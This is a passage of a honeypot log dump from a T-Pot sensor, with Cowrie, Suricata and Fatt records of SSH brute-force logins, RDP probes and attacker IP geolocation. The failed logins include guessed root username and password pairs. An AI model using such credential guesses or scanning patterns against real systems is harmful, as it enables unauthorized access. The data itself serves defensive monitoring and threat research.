"hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "146.185.130.101", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "3aacfbac9ad4", "@version": "1", "timestamp": "2021-09-20T12:12:32.397668Z", "@timestamp": "2021-09-20T12:12:32.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	NL
36143	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:12:32.907289+03	2021-09-20 15:15:04.18672+03	{"_id": "nwYfA3wBvYTbRNuEQ2Cq", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 266, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 9, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection request", "signature_id": 2001329}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1162827946481251, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63527, "dest_port": 3389, "timestamp": "2021-09-20T12:12:32.907289Z", "@timestamp": "2021-09-20T12:12:32.907Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36144	146.185.130.101	109.199.241.180	Fatt	2021-09-20 15:12:32.397073+03	2021-09-20 15:15:04.18769+03	{"_id": "qAYfA3wBvYTbRNuERGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "src_ip": "146.185.130.101", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 51176, "dest_port": 22, "timestamp": "2021-09-20T12:12:32.397073", "@timestamp": "2021-09-20T12:12:32.397Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	NL
36145	146.185.130.101	109.199.241.180	Cowrie	2021-09-20 15:12:32.693581+03	2021-09-20 15:15:04.18969+03	{"_id": "qwYfA3wBvYTbRNuERmB2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "146.185.130.101", "eventid": "cowrie.login.failed", "message": "login attempt [root/qwerty1234] failed", "session": "3aacfbac9ad4", "@version": "1", "password": "qwerty1234", "username": "root", "timestamp": "2021-09-20T12:12:32.693581Z", "@timestamp": "2021-09-20T12:12:32.693Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	NL
36146	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:12:33.039684+03	2021-09-20 15:15:04.19072+03	{"_id": "rAYfA3wBvYTbRNuERmB2", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "06866deafa5f", "@version": "1", "duration": 2.767599582672119, "timestamp": "2021-09-20T12:12:33.039684Z", "@timestamp": "2021-09-20T12:12:33.039Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	CN
36147	146.185.130.101	109.199.241.180	Cowrie	2021-09-20 15:12:33.745275+03	2021-09-20 15:15:04.191719+03	{"_id": "rQYfA3wBvYTbRNuESmBf", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "146.185.130.101", "eventid": "cowrie.session.closed", "message": "Connection lost after 1 seconds", "session": "3aacfbac9ad4", "@version": "1", "duration": 1.3920578956604004, "timestamp": "2021-09-20T12:12:33.745275Z", "@timestamp": "2021-09-20T12:12:33.745Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	NL
36344	5.188.62.219	109.199.241.180	Cowrie	2021-09-20 15:13:54.686787+03	2021-09-20 15:15:04.460691+03	{"_id": "9QYgA3wBvYTbRNuEg2EI", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.219", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.219", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-Go'", "session": "a67675d21ed4", "version": "b'SSH-2.0-Go'", "@version": "1", "timestamp": "2021-09-20T12:13:54.686787Z", "@timestamp": "2021-09-20T12:13:54.686Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	RU
36148	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:12:31.667893+03	2021-09-20 15:15:04.193691+03	{"_id": "kQYfA3wBvYTbRNuEP2DA", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 1, "pkts_toserver": 3, "bytes_toclient": 66, "bytes_toserver": 223}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 1162827946481251, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63527, "dest_port": 3389, "timestamp": "2021-09-20T12:12:31.667893Z", "@timestamp": "2021-09-20T12:12:31.667Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36149	61.133.192.126	109.199.241.180	Fatt	2021-09-20 15:12:31.667893+03	2021-09-20 15:15:04.196722+03	{"_id": "mAYfA3wBvYTbRNuEQGD-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "src_ip": "61.133.192.126", "dest_ip": "192.168.20.116", "@version": "1", "fatt_rdp": {"requestedProtocols": "0x00000003"}, "protocol": "rdp", "src_port": 63527, "dest_port": 3389, "timestamp": "2021-09-20T12:12:31.667893", "@timestamp": "2021-09-20T12:12:31.667Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	rdp	\N	\N	\N	CN
36150	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:12:31.75804+03	2021-09-20 15:15:04.197689+03	{"_id": "mgYfA3wBvYTbRNuEQmCN", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.login.failed", "message": "login attempt [root/q2w3e4r5] failed", "session": "06866deafa5f", "@version": "1", "password": "q2w3e4r5", "username": "root", "timestamp": "2021-09-20T12:12:31.758040Z", "@timestamp": "2021-09-20T12:12:31.758Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	known attacker	CN
36151	146.185.130.101	109.199.241.180	Suricata	2021-09-20 15:12:32.396985+03	2021-09-20 15:15:04.198691+03	{"_id": "oQYfA3wBvYTbRNuEQ2Cr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "libssh_0.9.6"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "146.185.130.101", "asn": 14061, "as_org": "Digital Ocean, Inc.", "latitude": 52.2977, "location": {"lat": 52.2977, "lon": 4.9562}, "timezone": "Europe/Amsterdam", "city_name": "Amsterdam", "longitude": 4.9562, "postal_code": "1105", "region_code": "NH", "region_name": "North Holland", "country_name": "Netherlands", "country_code2": "NL", "country_code3": "NL", "continent_code": "EU"}, "proto": "TCP", "ip_rep": "known attacker", "src_ip": "146.185.130.101", "dest_ip": "192.168.20.116", "flow_id": 1935737376252340, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 51176, "dest_port": 22, "timestamp": "2021-09-20T12:12:32.396985Z", "@timestamp": "2021-09-20T12:12:32.396Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	known attacker	NL
36152	61.133.192.126	109.199.241.180	Suricata	2021-09-20 15:12:32.907289+03	2021-09-20 15:15:04.200692+03	{"_id": "ogYfA3wBvYTbRNuEQ2Cr", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:12:31.349795+0000", "pkts_toclient": 4, "pkts_toserver": 4, "bytes_toclient": 266, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 14, "action": "allowed", "cve_id": "CVE-2001-0540", "category": "Generic Protocol Command Decode", "metadata": {"created_at": ["2010_09_23"], "updated_at": ["2010_09_23"]}, "severity": 3, "signature": "GPL POLICY MS Remote Desktop Request RDP", "signature_id": 2101447}, "geoip": {"ip": "61.133.192.126", "asn": 4134, "as_org": "Chinanet", "latitude": 38.4681, "location": {"lat": 38.4681, "lon": 106.2731}, "timezone": "Asia/Shanghai", "longitude": 106.2731, "region_code": "NX", "region_name": "Ningxia Hui Autonomous Region", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "61.133.192.126", "stream": 1, "dest_ip": "192.168.20.116", "flow_id": 1162827946481251, "payload": "AwAAKybgAAAAAABDb29raWU6IG1zdHNoYXNoPWhlbGxvDQoBAAgAAwAAAA==", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 63527, "dest_port": 3389, "timestamp": "2021-09-20T12:12:32.907289Z", "@timestamp": "2021-09-20T12:12:32.907Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "...+&......Cookie: mstshash=hello\\r\\n........"}}	1	\N	\N	alert	\N	CN
36153	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:32.353996+03	2021-09-20 15:15:04.20172+03	{"_id": "pQYfA3wBvYTbRNuERGDo", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "146.185.130.101", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 51176, "timestamp": "2021-09-20T12:12:32.353996", "@timestamp": "2021-09-20T12:12:32.353Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36154	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:12:30.551747+03	2021-09-20 15:15:04.202691+03	{"_id": "jAYfA3wBvYTbRNuEOmC8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "encCS": ["aes256-gcm@openssh.com", "aes128-gcm@openssh.com", "aes256-ctr", "aes192-ctr", "aes128-ctr", "aes256-cbc", "aes192-cbc", "aes128-cbc", "3des-cbc"], "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "hassh": "f555226df1963d1d3c09daf865abdc9a", "macCS": ["hmac-sha2-256-etm@openssh.com", "hmac-sha2-512-etm@openssh.com", "hmac-sha1-etm@openssh.com", "hmac-sha2-256", "hmac-sha2-512", "hmac-sha1"], "compCS": ["none"], "ip_rep": "known attacker", "langCS": [""], "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "eventid": "cowrie.client.kex", "kexAlgs": ["curve25519-sha256", "curve25519-sha256@libssh.org", "ecdh-sha2-nistp256", "ecdh-sha2-nistp384", "ecdh-sha2-nistp521", "diffie-hellman-group18-sha512", "diffie-hellman-group16-sha512", "diffie-hellman-group-exchange-sha256", "diffie-hellman-group14-sha256", "diffie-hellman-group14-sha1", "diffie-hellman-group1-sha1", "ext-info-c"], "keyAlgs": ["ssh-ed25519", "ecdsa-sha2-nistp521", "ecdsa-sha2-nistp384", "ecdsa-sha2-nistp256", "rsa-sha2-512", "rsa-sha2-256", "ssh-rsa", "ssh-dss"], "message": "SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a", "session": "06866deafa5f", "@version": "1", "timestamp": "2021-09-20T12:12:30.551747Z", "@timestamp": "2021-09-20T12:12:30.551Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}}	1	\N	cowrie.client.kex	\N	known attacker	CN
36155	192.168.20.116	109.199.241.180	Suricata	2021-09-20 15:12:26.000689+03	2021-09-20 15:15:04.20469+03	{"_id": "jgYfA3wBvYTbRNuEO2DX", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"flow": {"start": "2021-09-20T12:11:25.353036+0000", "pkts_toclient": 3, "pkts_toserver": 4, "bytes_toclient": 193, "bytes_toserver": 283}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "tags": ["_geoip_lookup_failure"], "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY RDP connection confirm", "signature_id": 2001330}, "geoip": {}, "proto": "TCP", "src_ip": "192.168.20.116", "stream": 1, "dest_ip": "87.251.67.120", "flow_id": 1216845745840908, "payload": "AwAAEw7QAAAAAAACAAgAAAAAAA==", "@version": "1", "metadata": {"flowbits": ["ms.rdp.established"]}, "src_port": 3389, "app_proto": "failed", "dest_port": 42422, "timestamp": "2021-09-20T12:12:26.000689Z", "@timestamp": "2021-09-20T12:12:26.000Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "..................."}}	1	\N	\N	alert	\N	\N
36156	192.168.20.116	109.199.241.180	Fatt	2021-09-20 15:12:30.274723+03	2021-09-20 15:15:04.20569+03	{"_id": "kAYfA3wBvYTbRNuEPGDR", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "113.87.161.152", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2323, "timestamp": "2021-09-20T12:12:30.274723", "@timestamp": "2021-09-20T12:12:30.274Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
36157	113.87.161.152	109.199.241.180	Cowrie	2021-09-20 15:12:30.269385+03	2021-09-20 15:15:04.207689+03	{"_id": "igYfA3wBvYTbRNuEOmC8", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "113.87.161.152", "asn": 4134, "as_org": "Chinanet", "latitude": 22.5333, "location": {"lat": 22.5333, "lon": 114.1333}, "timezone": "Asia/Shanghai", "city_name": "Shenzhen", "longitude": 114.1333, "region_code": "GD", "region_name": "Guangdong", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "113.87.161.152", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 113.87.161.152:2323 (192.168.176.2:22) [session: 06866deafa5f]", "session": "06866deafa5f", "@version": "1", "protocol": "ssh", "src_port": 2323, "dest_port": 22, "timestamp": "2021-09-20T12:12:30.269385Z", "@timestamp": "2021-09-20T12:12:30.269Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	CN
